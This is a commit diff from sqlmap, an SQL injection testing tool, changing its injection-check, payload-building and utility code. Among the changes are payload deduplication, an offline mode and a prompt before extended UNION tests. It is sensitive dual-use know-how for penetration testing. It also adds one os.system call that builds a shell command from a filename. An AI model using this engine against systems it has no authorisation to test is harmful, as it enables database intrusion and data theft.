mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-07-30 18:10:12 +03:00
commit
4224f1fd91
|
@ -45,6 +45,10 @@ def _win_wav_play(filename):
|
||||||
winsound.PlaySound(filename, winsound.SND_FILENAME)
|
winsound.PlaySound(filename, winsound.SND_FILENAME)
|
||||||
|
|
||||||
def _linux_wav_play(filename):
|
def _linux_wav_play(filename):
|
||||||
|
for _ in ("aplay", "paplay", "play"):
|
||||||
|
if not os.system("%s '%s' 2>/dev/null" % (_, filename)):
|
||||||
|
return
|
||||||
|
|
||||||
import ctypes
|
import ctypes
|
||||||
|
|
||||||
PA_STREAM_PLAYBACK = 1
|
PA_STREAM_PLAYBACK = 1
|
||||||
|
|
|
@ -15,7 +15,6 @@ from subprocess import Popen as execute
|
||||||
|
|
||||||
from extra.beep.beep import beep
|
from extra.beep.beep import beep
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import arrayizeValue
|
|
||||||
from lib.core.common import Backend
|
from lib.core.common import Backend
|
||||||
from lib.core.common import extractRegexResult
|
from lib.core.common import extractRegexResult
|
||||||
from lib.core.common import extractTextTagContent
|
from lib.core.common import extractTextTagContent
|
||||||
|
@ -46,7 +45,6 @@ from lib.core.datatype import AttribDict
|
||||||
from lib.core.datatype import InjectionDict
|
from lib.core.datatype import InjectionDict
|
||||||
from lib.core.decorators import cachedmethod
|
from lib.core.decorators import cachedmethod
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import CUSTOM_LOGGING
|
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
from lib.core.enums import HEURISTIC_TEST
|
from lib.core.enums import HEURISTIC_TEST
|
||||||
from lib.core.enums import HTTP_HEADER
|
from lib.core.enums import HTTP_HEADER
|
||||||
|
@ -66,7 +64,6 @@ from lib.core.settings import HEURISTIC_CHECK_ALPHABET
|
||||||
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
from lib.core.settings import SUHOSIN_MAX_VALUE_LENGTH
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
from lib.core.settings import URI_HTTP_HEADER
|
from lib.core.settings import URI_HTTP_HEADER
|
||||||
from lib.core.settings import LOWER_RATIO_BOUND
|
|
||||||
from lib.core.settings import UPPER_RATIO_BOUND
|
from lib.core.settings import UPPER_RATIO_BOUND
|
||||||
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
|
from lib.core.settings import IDS_WAF_CHECK_PAYLOAD
|
||||||
from lib.core.settings import IDS_WAF_CHECK_RATIO
|
from lib.core.settings import IDS_WAF_CHECK_RATIO
|
||||||
|
@ -90,6 +87,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||||
tests = getSortedInjectionTests()
|
tests = getSortedInjectionTests()
|
||||||
|
seenPayload = set()
|
||||||
|
|
||||||
while tests:
|
while tests:
|
||||||
test = tests.pop(0)
|
test = tests.pop(0)
|
||||||
|
@ -386,9 +384,17 @@ def checkSqlInjection(place, parameter, value):
|
||||||
# Forge request payload by prepending with boundary's
|
# Forge request payload by prepending with boundary's
|
||||||
# prefix and appending the boundary's suffix to the
|
# prefix and appending the boundary's suffix to the
|
||||||
# test's ' <payload><comment> ' string
|
# test's ' <payload><comment> ' string
|
||||||
|
if fstPayload:
|
||||||
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
|
||||||
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
|
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
|
||||||
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
|
||||||
|
if reqPayload:
|
||||||
|
if reqPayload in seenPayload:
|
||||||
|
continue
|
||||||
|
else:
|
||||||
|
seenPayload.add(reqPayload)
|
||||||
|
else:
|
||||||
|
reqPayload = None
|
||||||
|
|
||||||
# Perform the test's request and check whether or not the
|
# Perform the test's request and check whether or not the
|
||||||
# payload was successful
|
# payload was successful
|
||||||
|
@ -423,7 +429,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
trueResult = Request.queryPage(reqPayload, place, raise404=False)
|
||||||
truePage = threadData.lastComparisonPage or ""
|
truePage = threadData.lastComparisonPage or ""
|
||||||
|
|
||||||
if trueResult:
|
if trueResult and not(truePage == falsePage and not kb.nullConnection):
|
||||||
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
|
||||||
|
|
||||||
# Perform the test's False request
|
# Perform the test's False request
|
||||||
|
@ -516,6 +522,17 @@ def checkSqlInjection(place, parameter, value):
|
||||||
infoMsg += "there is at least one other (potential) "
|
infoMsg += "there is at least one other (potential) "
|
||||||
infoMsg += "technique found"
|
infoMsg += "technique found"
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
elif not injection.data:
|
||||||
|
_ = test.request.columns.split('-')[-1]
|
||||||
|
if _.isdigit() and int(_) > 10:
|
||||||
|
if kb.futileUnion is None:
|
||||||
|
msg = "it is not recommended to perform "
|
||||||
|
msg += "extended UNION tests if there is not "
|
||||||
|
msg += "at least one other (potential) "
|
||||||
|
msg += "technique found. Do you want to skip? [Y/n] "
|
||||||
|
kb.futileUnion = readInput(msg, default="Y").strip().upper() == 'N'
|
||||||
|
if kb.futileUnion is False:
|
||||||
|
continue
|
||||||
|
|
||||||
# Test for UNION query SQL injection
|
# Test for UNION query SQL injection
|
||||||
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||||
|
@ -532,7 +549,7 @@ def checkSqlInjection(place, parameter, value):
|
||||||
|
|
||||||
kb.previousMethod = method
|
kb.previousMethod = method
|
||||||
|
|
||||||
if conf.dummy:
|
if conf.dummy or conf.offline:
|
||||||
injectable = False
|
injectable = False
|
||||||
|
|
||||||
# If the injection test was successful feed the injection
|
# If the injection test was successful feed the injection
|
||||||
|
@ -706,7 +723,8 @@ def checkFalsePositives(injection):
|
||||||
|
|
||||||
retVal = injection
|
retVal = injection
|
||||||
|
|
||||||
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data):
|
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
|
||||||
|
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
||||||
pushValue(kb.injection)
|
pushValue(kb.injection)
|
||||||
|
|
||||||
infoMsg = "checking if the injection point on %s " % injection.place
|
infoMsg = "checking if the injection point on %s " % injection.place
|
||||||
|
@ -994,11 +1012,15 @@ def checkStability():
|
||||||
like for instance string matching (--string).
|
like for instance string matching (--string).
|
||||||
"""
|
"""
|
||||||
|
|
||||||
infoMsg = "testing if the target URL is stable. This can take a couple of seconds"
|
infoMsg = "testing if the target URL is stable"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
firstPage = kb.originalPage # set inside checkConnection()
|
firstPage = kb.originalPage # set inside checkConnection()
|
||||||
time.sleep(1)
|
|
||||||
|
delay = 1 - (time.time() - (kb.originalPageTime or 0))
|
||||||
|
delay = max(0, min(1, delay))
|
||||||
|
time.sleep(delay)
|
||||||
|
|
||||||
secondPage, _ = Request.queryPage(content=True, raise404=False)
|
secondPage, _ = Request.queryPage(content=True, raise404=False)
|
||||||
|
|
||||||
if kb.redirectChoice:
|
if kb.redirectChoice:
|
||||||
|
@ -1117,7 +1139,7 @@ def checkWaf():
|
||||||
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
|
Reference: http://seclists.org/nmap-dev/2011/q2/att-1005/http-waf-detect.nse
|
||||||
"""
|
"""
|
||||||
|
|
||||||
if any((conf.string, conf.notString, conf.regexp)):
|
if any((conf.string, conf.notString, conf.regexp, conf.dummy, conf.offline)):
|
||||||
return None
|
return None
|
||||||
|
|
||||||
dbmMsg = "heuristically checking if the target is protected by "
|
dbmMsg = "heuristically checking if the target is protected by "
|
||||||
|
@ -1227,10 +1249,10 @@ def checkNullConnection():
|
||||||
infoMsg = "testing NULL connection to the target URL"
|
infoMsg = "testing NULL connection to the target URL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
try:
|
||||||
pushValue(kb.pageCompress)
|
pushValue(kb.pageCompress)
|
||||||
kb.pageCompress = False
|
kb.pageCompress = False
|
||||||
|
|
||||||
try:
|
|
||||||
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
|
page, headers, _ = Request.getPage(method=HTTPMETHOD.HEAD)
|
||||||
|
|
||||||
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
if not page and HTTP_HEADER.CONTENT_LENGTH in (headers or {}):
|
||||||
|
@ -1260,12 +1282,13 @@ def checkNullConnection():
|
||||||
errMsg = getUnicode(errMsg)
|
errMsg = getUnicode(errMsg)
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
|
||||||
|
finally:
|
||||||
kb.pageCompress = popValue()
|
kb.pageCompress = popValue()
|
||||||
|
|
||||||
return kb.nullConnection is not None
|
return kb.nullConnection is not None
|
||||||
|
|
||||||
def checkConnection(suppressOutput=False):
|
def checkConnection(suppressOutput=False):
|
||||||
if not any((conf.proxy, conf.tor, conf.dummy)):
|
if not any((conf.proxy, conf.tor, conf.dummy, conf.offline)):
|
||||||
try:
|
try:
|
||||||
debugMsg = "resolving hostname '%s'" % conf.hostname
|
debugMsg = "resolving hostname '%s'" % conf.hostname
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
@ -1275,14 +1298,15 @@ def checkConnection(suppressOutput=False):
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
except socket.error, ex:
|
except socket.error, ex:
|
||||||
errMsg = "problem occurred while "
|
errMsg = "problem occurred while "
|
||||||
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getUnicode(ex))
|
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, ex.message)
|
||||||
raise SqlmapConnectionException(errMsg)
|
raise SqlmapConnectionException(errMsg)
|
||||||
|
|
||||||
if not suppressOutput and not conf.dummy:
|
if not suppressOutput and not conf.dummy and not conf.offline:
|
||||||
infoMsg = "testing connection to the target URL"
|
infoMsg = "testing connection to the target URL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
kb.originalPageTime = time.time()
|
||||||
page, _ = Request.queryPage(content=True, noteResponseTime=False)
|
page, _ = Request.queryPage(content=True, noteResponseTime=False)
|
||||||
kb.originalPage = kb.pageTemplate = page
|
kb.originalPage = kb.pageTemplate = page
|
||||||
|
|
||||||
|
|
|
@ -155,8 +155,11 @@ def _formatInjection(inj):
|
||||||
return data
|
return data
|
||||||
|
|
||||||
def _showInjections():
|
def _showInjections():
|
||||||
header = "sqlmap identified the following injection points with "
|
if kb.testQueryCount > 0:
|
||||||
|
header = "sqlmap identified the following injection point(s) with "
|
||||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||||
|
else:
|
||||||
|
header = "sqlmap resumed the following injection point(s) from stored session"
|
||||||
|
|
||||||
if hasattr(conf, "api"):
|
if hasattr(conf, "api"):
|
||||||
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
conf.dumper.string("", kb.injections, content_type=CONTENT_TYPE.TECHNIQUES)
|
||||||
|
@ -427,6 +430,9 @@ def start():
|
||||||
if skip:
|
if skip:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if kb.testOnlyCustom and place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER):
|
||||||
|
continue
|
||||||
|
|
||||||
if place not in conf.paramDict:
|
if place not in conf.paramDict:
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
@ -495,6 +501,7 @@ def start():
|
||||||
kb.testedParams.add(paramKey)
|
kb.testedParams.add(paramKey)
|
||||||
|
|
||||||
if testSqlInj:
|
if testSqlInj:
|
||||||
|
try:
|
||||||
if place == PLACE.COOKIE:
|
if place == PLACE.COOKIE:
|
||||||
pushValue(kb.mergeCookies)
|
pushValue(kb.mergeCookies)
|
||||||
kb.mergeCookies = False
|
kb.mergeCookies = False
|
||||||
|
@ -534,6 +541,7 @@ def start():
|
||||||
warnMsg += "injectable"
|
warnMsg += "injectable"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
|
finally:
|
||||||
if place == PLACE.COOKIE:
|
if place == PLACE.COOKIE:
|
||||||
kb.mergeCookies = popValue()
|
kb.mergeCookies = popValue()
|
||||||
|
|
||||||
|
|
|
@ -79,7 +79,9 @@ class Agent(object):
|
||||||
|
|
||||||
retVal = ""
|
retVal = ""
|
||||||
|
|
||||||
if where is None and isTechniqueAvailable(kb.technique):
|
if kb.forceWhere:
|
||||||
|
where = kb.forceWhere
|
||||||
|
elif where is None and isTechniqueAvailable(kb.technique):
|
||||||
where = kb.injection.data[kb.technique].where
|
where = kb.injection.data[kb.technique].where
|
||||||
|
|
||||||
if kb.injection.place is not None:
|
if kb.injection.place is not None:
|
||||||
|
@ -174,7 +176,10 @@ class Agent(object):
|
||||||
while True:
|
while True:
|
||||||
_ = re.search(r"\\g<([^>]+)>", repl)
|
_ = re.search(r"\\g<([^>]+)>", repl)
|
||||||
if _:
|
if _:
|
||||||
|
try:
|
||||||
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
repl = repl.replace(_.group(0), match.group(int(_.group(1)) if _.group(1).isdigit() else _.group(1)))
|
||||||
|
except IndexError:
|
||||||
|
break
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
retVal = string[:match.start()] + repl + string[match.end():]
|
retVal = string[:match.start()] + repl + string[match.end():]
|
||||||
|
@ -185,6 +190,7 @@ class Agent(object):
|
||||||
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
retVal = _(regex, "%s=%s" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||||
else:
|
else:
|
||||||
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
retVal = _(r"(\A|\b)%s=%s(\Z|%s|%s|\s)" % (re.escape(parameter), re.escape(origValue), DEFAULT_GET_POST_DELIMITER, DEFAULT_COOKIE_DELIMITER), "%s=%s\g<2>" % (parameter, self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||||
|
|
||||||
if retVal == paramString and urlencode(parameter) != parameter:
|
if retVal == paramString and urlencode(parameter) != parameter:
|
||||||
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
retVal = _(r"(\A|\b)%s=%s" % (re.escape(urlencode(parameter)), re.escape(origValue)), "%s=%s" % (urlencode(parameter), self.addPayloadDelimiters(newValue.replace("\\", "\\\\"))), paramString)
|
||||||
|
|
||||||
|
@ -213,6 +219,9 @@ class Agent(object):
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return self.payloadDirect(expression)
|
return self.payloadDirect(expression)
|
||||||
|
|
||||||
|
if expression is None:
|
||||||
|
return None
|
||||||
|
|
||||||
expression = self.cleanupPayload(expression)
|
expression = self.cleanupPayload(expression)
|
||||||
expression = unescaper.escape(expression)
|
expression = unescaper.escape(expression)
|
||||||
query = None
|
query = None
|
||||||
|
@ -241,8 +250,7 @@ class Agent(object):
|
||||||
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
|
||||||
query += " "
|
query += " "
|
||||||
|
|
||||||
if query:
|
query = "%s%s" % ((query or "").replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
|
||||||
query = "%s%s" % (query.replace('\\', BOUNDARY_BACKSLASH_MARKER), expression)
|
|
||||||
|
|
||||||
return query
|
return query
|
||||||
|
|
||||||
|
@ -255,6 +263,9 @@ class Agent(object):
|
||||||
if conf.direct:
|
if conf.direct:
|
||||||
return self.payloadDirect(expression)
|
return self.payloadDirect(expression)
|
||||||
|
|
||||||
|
if expression is None:
|
||||||
|
return None
|
||||||
|
|
||||||
expression = self.cleanupPayload(expression)
|
expression = self.cleanupPayload(expression)
|
||||||
|
|
||||||
# Take default values if None
|
# Take default values if None
|
||||||
|
|
|
@ -43,6 +43,7 @@ from xml.dom import minidom
|
||||||
from xml.sax import parse
|
from xml.sax import parse
|
||||||
from xml.sax import SAXParseException
|
from xml.sax import SAXParseException
|
||||||
|
|
||||||
|
from extra.beep.beep import beep
|
||||||
from extra.cloak.cloak import decloak
|
from extra.cloak.cloak import decloak
|
||||||
from extra.safe2bin.safe2bin import safecharencode
|
from extra.safe2bin.safe2bin import safecharencode
|
||||||
from lib.core.bigarray import BigArray
|
from lib.core.bigarray import BigArray
|
||||||
|
@ -97,7 +98,6 @@ from lib.core.settings import DBMS_DIRECTORY_DICT
|
||||||
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
from lib.core.settings import DEFAULT_COOKIE_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
from lib.core.settings import DEFAULT_GET_POST_DELIMITER
|
||||||
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
from lib.core.settings import DEFAULT_MSSQL_SCHEMA
|
||||||
from lib.core.settings import DESCRIPTION
|
|
||||||
from lib.core.settings import DUMMY_USER_INJECTION
|
from lib.core.settings import DUMMY_USER_INJECTION
|
||||||
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
from lib.core.settings import DYNAMICITY_MARK_LENGTH
|
||||||
from lib.core.settings import ERROR_PARSING_REGEXES
|
from lib.core.settings import ERROR_PARSING_REGEXES
|
||||||
|
@ -134,9 +134,7 @@ from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
|
||||||
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
from lib.core.settings import REFLECTED_REPLACEMENT_REGEX
|
||||||
from lib.core.settings import REFLECTED_VALUE_MARKER
|
from lib.core.settings import REFLECTED_VALUE_MARKER
|
||||||
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
from lib.core.settings import REFLECTIVE_MISS_THRESHOLD
|
||||||
from lib.core.settings import REVISION
|
|
||||||
from lib.core.settings import SENSITIVE_DATA_REGEX
|
from lib.core.settings import SENSITIVE_DATA_REGEX
|
||||||
from lib.core.settings import SITE
|
|
||||||
from lib.core.settings import SUPPORTED_DBMS
|
from lib.core.settings import SUPPORTED_DBMS
|
||||||
from lib.core.settings import TEXT_TAG_REGEX
|
from lib.core.settings import TEXT_TAG_REGEX
|
||||||
from lib.core.settings import TIME_STDEV_COEFF
|
from lib.core.settings import TIME_STDEV_COEFF
|
||||||
|
@ -146,7 +144,6 @@ from lib.core.settings import URI_QUESTION_MARKER
|
||||||
from lib.core.settings import URLENCODE_CHAR_LIMIT
|
from lib.core.settings import URLENCODE_CHAR_LIMIT
|
||||||
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
from lib.core.settings import URLENCODE_FAILSAFE_CHARS
|
||||||
from lib.core.settings import USER_AGENT_ALIASES
|
from lib.core.settings import USER_AGENT_ALIASES
|
||||||
from lib.core.settings import VERSION
|
|
||||||
from lib.core.settings import VERSION_STRING
|
from lib.core.settings import VERSION_STRING
|
||||||
from lib.core.threads import getCurrentThreadData
|
from lib.core.threads import getCurrentThreadData
|
||||||
from lib.utils.sqlalchemy import _sqlalchemy
|
from lib.utils.sqlalchemy import _sqlalchemy
|
||||||
|
@ -864,6 +861,9 @@ def dataToDumpFile(dumpFile, data):
|
||||||
if "No space left" in getUnicode(ex):
|
if "No space left" in getUnicode(ex):
|
||||||
errMsg = "no space left on output device"
|
errMsg = "no space left on output device"
|
||||||
logger.error(errMsg)
|
logger.error(errMsg)
|
||||||
|
elif "Permission denied" in getUnicode(ex):
|
||||||
|
errMsg = "permission denied when flushing dump data"
|
||||||
|
logger.error(errMsg)
|
||||||
else:
|
else:
|
||||||
raise
|
raise
|
||||||
|
|
||||||
|
@ -875,11 +875,11 @@ def dataToOutFile(filename, data):
|
||||||
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
retVal = os.path.join(conf.filePath, filePathToSafeString(filename))
|
||||||
|
|
||||||
try:
|
try:
|
||||||
with openFile(retVal, "wb") as f:
|
with open(retVal, "w+b") as f:
|
||||||
f.write(data)
|
f.write(data)
|
||||||
except IOError, ex:
|
except IOError, ex:
|
||||||
errMsg = "something went wrong while trying to write "
|
errMsg = "something went wrong while trying to write "
|
||||||
errMsg += "to the output file ('%s')" % ex
|
errMsg += "to the output file ('%s')" % ex.message
|
||||||
raise SqlmapGenericException(errMsg)
|
raise SqlmapGenericException(errMsg)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
@ -935,6 +935,10 @@ def readInput(message, default=None, checkBatch=True):
|
||||||
retVal = default
|
retVal = default
|
||||||
else:
|
else:
|
||||||
logging._acquireLock()
|
logging._acquireLock()
|
||||||
|
|
||||||
|
if conf.get("beep"):
|
||||||
|
beep()
|
||||||
|
|
||||||
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
|
dataToStdout("\r%s" % message, forceOutput=True, bold=True)
|
||||||
kb.prependFlag = False
|
kb.prependFlag = False
|
||||||
|
|
||||||
|
@ -1027,7 +1031,7 @@ def checkFile(filename):
|
||||||
|
|
||||||
if valid:
|
if valid:
|
||||||
try:
|
try:
|
||||||
with open(filename, "rb") as f:
|
with open(filename, "rb"):
|
||||||
pass
|
pass
|
||||||
except:
|
except:
|
||||||
valid = False
|
valid = False
|
||||||
|
@ -1101,7 +1105,7 @@ def setPaths():
|
||||||
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
paths.SQLMAP_XML_BANNER_PATH = os.path.join(paths.SQLMAP_XML_PATH, "banner")
|
||||||
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
paths.SQLMAP_XML_PAYLOADS_PATH = os.path.join(paths.SQLMAP_XML_PATH, "payloads")
|
||||||
|
|
||||||
_ = os.path.join(os.path.expanduser("~"), ".sqlmap")
|
_ = os.path.join(os.path.expandvars(os.path.expanduser("~")), ".sqlmap")
|
||||||
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
|
paths.SQLMAP_OUTPUT_PATH = getUnicode(paths.get("SQLMAP_OUTPUT_PATH", os.path.join(_, "output")), encoding=sys.getfilesystemencoding())
|
||||||
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
|
||||||
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
|
||||||
|
@ -1111,7 +1115,6 @@ def setPaths():
|
||||||
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
|
paths.SQL_SHELL_HISTORY = os.path.join(_, "sql.hst")
|
||||||
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
|
paths.SQLMAP_SHELL_HISTORY = os.path.join(_, "sqlmap.hst")
|
||||||
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
|
paths.GITHUB_HISTORY = os.path.join(_, "github.hst")
|
||||||
paths.SQLMAP_CONFIG = os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap-%s.conf" % randomStr())
|
|
||||||
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
paths.COMMON_COLUMNS = os.path.join(paths.SQLMAP_TXT_PATH, "common-columns.txt")
|
||||||
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
paths.COMMON_TABLES = os.path.join(paths.SQLMAP_TXT_PATH, "common-tables.txt")
|
||||||
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
paths.COMMON_OUTPUTS = os.path.join(paths.SQLMAP_TXT_PATH, 'common-outputs.txt')
|
||||||
|
@ -1583,9 +1586,10 @@ def safeExpandUser(filepath):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = os.path.expanduser(filepath)
|
retVal = os.path.expanduser(filepath)
|
||||||
except UnicodeDecodeError:
|
except UnicodeError:
|
||||||
_ = locale.getdefaultlocale()
|
_ = locale.getdefaultlocale()
|
||||||
retVal = getUnicode(os.path.expanduser(filepath.encode(_[1] if _ and len(_) > 1 else UNICODE_ENCODING)))
|
encoding = _[1] if _ and len(_) > 1 else UNICODE_ENCODING
|
||||||
|
retVal = getUnicode(os.path.expanduser(filepath.encode(encoding)), encoding=encoding)
|
||||||
|
|
||||||
return retVal
|
return retVal
|
||||||
|
|
||||||
|
@ -2115,7 +2119,7 @@ def getUnicode(value, encoding=None, noneToNull=False):
|
||||||
elif isinstance(value, basestring):
|
elif isinstance(value, basestring):
|
||||||
while True:
|
while True:
|
||||||
try:
|
try:
|
||||||
return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING)
|
return unicode(value, encoding or (kb.get("pageEncoding") if kb.get("originalPage") else None) or UNICODE_ENCODING)
|
||||||
except UnicodeDecodeError, ex:
|
except UnicodeDecodeError, ex:
|
||||||
try:
|
try:
|
||||||
return unicode(value, UNICODE_ENCODING)
|
return unicode(value, UNICODE_ENCODING)
|
||||||
|
@ -2280,7 +2284,8 @@ def findMultipartPostBoundary(post):
|
||||||
candidates = []
|
candidates = []
|
||||||
|
|
||||||
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
|
for match in re.finditer(r"(?m)^--(.+?)(--)?$", post or ""):
|
||||||
_ = match.group(1)
|
_ = match.group(1).strip().strip('-')
|
||||||
|
|
||||||
if _ in done:
|
if _ in done:
|
||||||
continue
|
continue
|
||||||
else:
|
else:
|
||||||
|
@ -2481,7 +2486,11 @@ def extractTextTagContent(page):
|
||||||
[u'Title', u'foobar']
|
[u'Title', u'foobar']
|
||||||
"""
|
"""
|
||||||
|
|
||||||
page = re.sub(r"(?si)[^\s>]*%s[^<]*" % REFLECTED_VALUE_MARKER, "", page or "")
|
page = page or ""
|
||||||
|
|
||||||
|
if REFLECTED_VALUE_MARKER in page:
|
||||||
|
page = re.sub(r"(?si)[^\s>]*%s[^\s<]*" % REFLECTED_VALUE_MARKER, "", page)
|
||||||
|
|
||||||
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
return filter(None, (_.group('result').strip() for _ in re.finditer(TEXT_TAG_REGEX, page)))
|
||||||
|
|
||||||
def trimAlphaNum(value):
|
def trimAlphaNum(value):
|
||||||
|
@ -2575,7 +2584,7 @@ def findDynamicContent(firstPage, secondPage):
|
||||||
prefix = trimAlphaNum(prefix)
|
prefix = trimAlphaNum(prefix)
|
||||||
suffix = trimAlphaNum(suffix)
|
suffix = trimAlphaNum(suffix)
|
||||||
|
|
||||||
kb.dynamicMarkings.append((re.escape(prefix[-DYNAMICITY_MARK_LENGTH / 2:]) if prefix else None, re.escape(suffix[:DYNAMICITY_MARK_LENGTH / 2]) if suffix else None))
|
kb.dynamicMarkings.append((prefix[-DYNAMICITY_MARK_LENGTH / 2:] if prefix else None, suffix[:DYNAMICITY_MARK_LENGTH / 2] if suffix else None))
|
||||||
|
|
||||||
if len(kb.dynamicMarkings) > 0:
|
if len(kb.dynamicMarkings) > 0:
|
||||||
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
|
infoMsg = "dynamic content marked for removal (%d region%s)" % (len(kb.dynamicMarkings), 's' if len(kb.dynamicMarkings) > 1 else '')
|
||||||
|
@ -2594,11 +2603,11 @@ def removeDynamicContent(page):
|
||||||
if prefix is None and suffix is None:
|
if prefix is None and suffix is None:
|
||||||
